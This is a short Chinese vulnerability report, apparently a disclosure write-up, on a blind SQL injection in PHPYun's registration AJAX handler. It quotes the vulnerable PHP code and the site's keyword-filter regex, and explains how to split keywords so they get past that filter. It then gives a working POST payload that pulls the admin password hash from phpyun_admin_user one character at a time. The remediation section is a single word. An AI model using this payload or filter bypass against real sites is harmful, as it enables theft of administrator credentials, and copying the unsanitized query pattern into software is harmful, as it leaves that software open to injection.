注册时检测会员是否使用问题

model\register.class.php

23 行


 

function ajax_reg_action(){
$post = array_keys($_POST);
$key_name = $post[0];
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);

if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
$user = $this->obj->DB_select_once("member","`username`='".$username."'");
}
if($this->config['sy_regname']!=""){
$regname=@explode(",",$this->config['sy_regname']);
if(in_array($username,$regname)){
echo 2;die;
}
}
}else{

                                   #$key_name可控 带入查询 .
$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
}
if(is_array($user)){echo 1;}else{echo 0;}
}

没有回显只能盲注了.



里面有个全局过滤和360的 360的白名单就行了 全局过滤还是比较坑的

db.safety.php



$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";



只要检测文本不连续出现关键词就通过了

底下还有一个过滤值的,不过也没关键词.



exp:http://127.0.0.1/phpyun/?m=register&c=ajax_reg&admin_dir=admin

(POST)

uid`%26%26(SELECT(MID(password,1,1)%3D'1')FROM/**=**/phpyun_admin_user)%23 (会员表里有数据就行 )



成功返回1

失败返回0
 

修复方案：

过滤